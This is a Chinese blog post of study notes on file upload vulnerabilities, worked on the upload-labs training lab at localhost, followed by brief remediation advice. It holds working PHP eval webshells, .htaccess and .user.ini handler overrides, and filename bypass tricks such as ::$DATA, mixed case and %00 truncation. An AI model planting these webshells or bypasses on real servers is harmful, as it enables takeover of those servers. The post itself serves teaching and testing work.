文件上传漏洞

已于 2023-04-30 22:08:02 修改
阅读量1.1k 收藏 5
点赞数
文章标签： php 开发语言
于 2023-04-30 22:05:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33137821/article/details/130452020
版权

文件上传漏洞

1.文件上传漏洞

1.1文件上传漏洞？

网站Web应用都有一些文件上传功能，比如文档、图片、头像、视频上传，当上传功能的实现代码没有严格校验上传文件的后缀和文件类型，此时攻击者就可以上传一个webshell到一个Web可访问的目录上，并将恶意文件传递给如PHP解释器去执行，之后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作。

1.2危害

非法用户利用上传的恶意文件可以控制整个网站，或者服务器。恶意的文件叫做WebShell。

2.文件上传的攻击方式

(1) JS检测绕过

当上传非图片形式的文件，给予JS警告

image-20230430115140931

源码查看

//检查文件后缀是否符合要求，但是通过前端校验，毫无作用
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}
绕过方式一(禁用JS)

使用插件禁用掉JS

image-20230430115941526

在进行上传

image-20230430120117458

绕过方式二(BP抓包改包)

image-20230430120453043

前端绕过作用不大。

(2)黑名单验证

1，文件后缀. .绕过

upload-labs上：

源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

使用BP：格式为2020.php. .

"2020.php. ."

fc22976a212d9ab40f7d7ab0d8c84fe

2，特殊字符绕过

绕过原理：借助服务器解析除php文件以外后缀文件如下：

ASP文件：asa/cer/cdx
ASPX文件：ashx/asmx/ascx
PHP文件：php4/php5/phtml
JSP文件：jsp / jspa / jspx / jsw / jsv / jspf / jtml / jSp / jSpx / jSpa / jSw / jSv / jSpf / jHtml

upload上源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

使用BP改包：

9ca58c02d7e3335f3f5733b613e8677

3，空格绕过

image-20230430213822436

4，双写绕过过绕过

分析源码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

image-20230430174904728

5，大小写绕过

分析源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

可进行大小写绕过

image-20230430174451752

6， .htaccess文件
.htaccess文件(或者”分布式配置文件”）,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess，需要修改httpd.conf，启用AllowOverride，并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名，可以用AccessFileName指令来改变。例如，需要使用.config ，则可以在服务器配置文件中按以下方法配置：AccessFileName .config 。
它里面有这样一段代码：AllowOverride None，如果我们把None改成All
笼统地说，.htaccess可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表，以及使用其他文件作为index文件等一些功能。
好了，我们开始上传一个.htaccess内容如下的文件:

.htaccess文件内容:

SetHandler application/x-httpd-php

在制作图片马zip.jpg：服务器会以php文件来运行jpg文件

GIF98a
<?php @eval($_POST['pass']); ?>

先上传

然后上传图片马即可，使用蚁剑进行连接

7， .user.ini文件
user.ini ： 自 PHP 5.3.0 起，PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
   CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用
   .htaccess 文件有同样效果。
   除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web
   根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。
   
   在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
   设置可被识别。
   
   两个新的 INI 指令，user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
   
   user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。默认值是
   .user.ini。
   
   user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒（5 分钟）。

.user.ini

//使用条件：
服务器脚本语言为PHP  
服务器使用CGI／FastCGI模式  
上传目录下要有可执行的php文件
//
  什么是 CGI
       CGI 的全称为“通用网关接口”（Common Gateway Interface），为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具， CGI 程序须运行在网络服务器上。
   
       传统 CGI 接口方式的主要缺点是性能较差，因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析，之后结果才会被返回给 HTTP
       服务器。这在处理高并发访问时几乎是不可用的，因此就诞生了 FastCGI。另外，传统的 CGI 接口方式安全性也很差，故而现在已经很少被使用了。
   
       什么是 FastCGI
       FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口（在 Linux 下， FastCGI 接口即为 socket，这个socket 可以是文件 socket，也可以是IP socket），主要优点是把动态语言和 HTTP
   服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI，包括 Apache 、 Nginx 和 Lighttpd 等。
   
       同时，FastCGI也被许多脚本语言所支持，例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构，它可以将 HTTP 服务器和脚本服务器分开，同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP
   服务器遇到动态程序时，可以将其直接交付给 FastCGI 进程来执行，然后将得到结果返回给浏览器。这种方式可以让 HTTP
   服务器专一地处理静态请求，或者将动态脚本服务器的结果返回给客户端，这在很大程度上提高整个应用系统的性能。

创建.user.ini文件

auto_prepend_file=666.jpg

然后创建666.jpg:

<?php @eval($_POST['pass']);?>

upload-labs:

先创建以下文件：

image-20230430190707740

开始上传：第一个

image-20230430190809737

第二个：

image-20230430190849652

需要修改以下php.ini配置：

image-20230430191804950

在这里解释一下：将 .user.ini和666.jpg都上传到服务器后，需要修改配置后重启服务器，然后用蚁剑去访问其中的readme.php，每一次访问其中的php文件都会先包含666.jpg文件，即达到上传WenShell的目的。

蚁剑连接路径：

http://127.0.0.1/upload/upload/readme.php

也可在BP上将2020.php修改为2020.php. .绕过

8，::DATA绕过
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

上传测试：

73ca097613a1a64b86a913cb5e90c7e

之后使用蚁剑进行连接时去掉 ::DATA

(3)文件类 型绕过

MIME验证

什么是MIME？

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。

修改MIME

Content-Type: image/png

通过修改文件类型：

image-20230430195556608

图片马
windows下制作图片马

写好一句话马：

<?php @eval($_POST['pass']);phpinfo();?>

image-20230430200140361

cmd命令:

copy 3.png/b + 1.png/a 4.png

image-20230430200426089

图片URL：

http://127.0.0.1/upload/upload/7420230430200357.png

点击”文件包含漏洞“使用自带的php文件去访问图片马(file协议)，URL 如下：

http://127.0.0.1/upload/include.php?file=upload/7420230430200357.png

下面用蚁剑连接即可。

(4)文件截断绕过攻击

GET00截断：

使用要求：

这一关白名单，最终文件的存放位置是以拼接的方式，可以使用%00截断
但需要php版本<5.3.4，并且magic_quotes_gpc关闭。

原理：

php的一些函数的底层是C语言，而move_uploaded_file就是其中之一，遇到0x00会截断，0x表示16进制，URL中%00解码成16进制就是0x00
知识补充：
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置（区分大小写）。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [，长度为length])
magic_quotes_gpc 着重偏向数据库方面，是为了防止sql注入，但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

image-20230430212629206

由于我的PHP最低版本是5.3，下面的操作不再演示。

可以通过路径直接访问php文件

http://127.0.0.1/upload/upload/1.php

总结：

掌握文件上传的服务端检测中的基于GET方式的00截断绕过，在使用基于GET
方式的00截断绕过服务端的检测上传脚本文件时可以利用Burp Suite 工具抓包
在数据包的URL中添加"%00",由于Ox00是字符串的结束标识符,PHP会把Ox00
后面的所有字符删除，所以访问Ox00前面的才可以成功解析。
POST00截断：

使用要求：

需要php版本<5.3.4，

操作：

先抓包：

image-20230430213046419

改包：

image-20230430213153904

再改Hex：

image-20230430213319528

访问时直接访问1.php即可，下面操作与get00截断一样。

3文件上传修复

通过白名单的方式判断文件后缀是否合法
对上传的文件进行重命名，例如rand(10.99).data("YmdHis")."jpg"
后端黑名单
文件头检查文件
文件系统00截断等等

4.打靶(待续…)

CTFKiller
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【文件上传】绕过总结_文件上传后缀名绕过，大厂网络安全研发岗面试复盘
m0_61330806的博客
04-09 843
ab:a.php::$data 相当于访问ab文件夹下的a.phpeg: a.php改为 a.php::$data5、单次过滤绕过思路：已知过滤规则，假如都是过滤一次，则可尝试两次绕过6、后缀双写绕过场景：过滤规则检测到黑名单后缀时，将文件名中对应后缀删除的情况eg:a.pphphp 从左到右识别，识别第二到第四位的php时，即"pphphp"，判定后缀名存在黑名单，将识别到的php删除，后缀只剩下字符组合php，故此时变为a.php程序认为处理完毕，不拦截，故绕过白名单绕过。
WebShell文件上传漏洞分析溯源
02-22
WebShell 文件上传漏洞分析溯源 一、WebShell 文件上传漏洞概述 WebShell 文件上传漏洞是指攻击者通过上传恶意文件（如WebShell）来获取服务器的控制权，从而实现对服务器的攻击和控制。这种漏洞通常存在于Web应用...
文件上传（包括编辑器上传）漏洞绕过总结（适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考）
weixin_42075643的博客
03-28 3829
文件上传绕过总结；编辑器文件上传；渗透测试记录
【CTF-Web】文件上传漏洞学习笔记（ctfshow题目）
最新发布
jayq1的博客
06-03 1541
文件上传漏洞学习笔记，ctfshow题目为依托
2024.3.26日报（文件上传漏洞利用）
2302_80946742的博客
03-26 711
在这种题型中，服务器对上传的文件没有任何验证措施。这意味着攻击者可以随意上传任何类型的文件，包括恶意脚本或可执行文件。这为攻击者提供了直接的机会来利用服务器资源。这种题目涉及到Apache服务器的配置文件.htaccess。攻击者需要利用.htaccess文件来改变服务器的行为，例如允许执行PHP代码。这种题型要求攻击者利用00截断漏洞上传恶意文件。
上传验证绕过全解析
weixin_33941350的博客
04-19 670
目录 0x01 客户端验证绕过(javascript 扩展名检测)0x02 服务端验证绕过(http request 包检测) - Content-type (Mime type) 检测 0x03 服务端验证绕过(扩展名检测) - 黑名单检测 - 白名单检测 - .htaccess 文件攻击 0x04 服务端验证绕过(文件完整性检测) ...
用友NC任意文件上传漏洞利用工具
04-14
用友NC任意文件上传漏洞利用工具，用友NC6.5的某个页面，存在任意文件上传漏洞。漏洞成因在于上传文件处未作类型限制，未经身份验证的攻击者可通过向目标系统发送特制数据包来利用此漏洞，成功利用此漏洞的远程攻击...
文件上传漏洞的思维导图
04-19
总结了文件上传漏洞的相关知识
奇安信代码卫士，文件上传漏洞解决demo
04-23
奇安信代码卫士，文件上传漏洞解决demo； #### 文件上传可以参考以下安全需求进行处理： 1. 服务器配置： （1）将上传目录和上传文件设置为不可执行， 杜绝脚本执行。 （2）应保证服务器安全，避免文件解析漏洞。 2....
计算机网络安全中文件上传漏洞及防御措施.pdf
09-19
计算机网络安全中文件上传漏洞及防御措施 计算机网络安全中文件上传漏洞是一种常见的Web安全漏洞，攻击者可以通过上传恶意代码的文件来获取服务器的控制权。为了防御这种攻击，需要对文件上传进行严格的校验检测，...
小白的CTF之路之文件上传（二）
glass_york的博客
01-13 306
文件上传
CTF-PUT上传漏洞
不知名白帽的博客
05-27 756
CTF-PUT上传漏洞，实验环境：kali(192.168.20.128)，靶机(192.168.20.137)。进行信息探测，漏洞扫描未发现有效信息后，测试PUT漏洞，发现存在PUT漏洞，下载插件Poster(RESTClient),然后上传大马反弹shell
文件上传漏洞（全网最详细）
A_991128a的博客
03-15 1050
自从学完文件上传后，寻思总结一下，但一直懒惰向后推迟，最近要准备面试了，就趁此机会写一下。文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。
ctf技能树----文件上传
qq_44418229的博客
05-10 1116
ctf技能树----文件上传
[NISACTF 2022]bingdundun~
YangYubo091699的博客
10-16 2176
[NISACTF 2022]bingdundun~
.bat文件中echo和@的用法
热门推荐
认知 行动 坚持
06-06 6万+
在F盘建立一个名称为myFile的文件夹, 把Windows系统的cmd.exe复制到myFile文件夹下，并在myFile中建立myBat.txt文件，改名为myBat.bat, 右击myBat.bat文件，选择文本文件的方式打开，进行编辑。以后，我就不再介绍这个简单的过程了。 在这篇文章中，我们将介绍echo的用法。我们先来复习一下这个单词吧。 echo ： 回声。例句：
web网站文件上传漏洞和攻击-运维安全详细笔记
06-30
在"web网站文件上传漏洞和攻击-运维安全详细笔记"中，本文详细探讨了Web应用中的文件上传漏洞及其潜在威胁。文件上传漏洞是指网站设计时未能正确验证用户上传的文件类型或内容，这可能导致恶意用户上传恶意脚本或...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值